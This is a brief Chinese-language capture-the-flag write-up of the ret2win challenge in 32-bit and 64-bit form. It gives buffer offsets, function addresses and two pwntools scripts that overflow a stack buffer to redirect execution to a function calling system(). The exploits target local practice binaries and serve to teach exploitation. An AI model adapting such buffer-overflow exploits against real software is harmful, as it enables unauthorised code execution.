32位
checksec,开了NX
ida,f5
进入 pwnme() 函数,找溢出点,看到s距ebp的偏移为0x28,需要再写入4个字节(32位)才能覆盖ebp
程序中出现 ret2win() 函数,即需要控制程序跳转到 ret2win() 函数来进入 system() 函数
通过ida可以看到 ret2win() 函数的地址为0x08048659
exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28
payload += p32(0)
payload += p32(ret2win32)
sh.sendline(payload)
sh.interactive()
64位
(思路与32位一致)
checksec,开了NX
ida,f5,进入 pwnme() 函数,看到s距ebp的偏移为0x20,需要再写入8个字节(64位)才能覆盖ebp
找到 ret2win() 函数的地址为0x00400811
exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
sh = process('./ret2win')
ret2win = 0x00400811
payload = 'A' * 0x20
payload += p64(0)
payload += p64(ret2win)
sh.sendline(payload)
sh.interactive()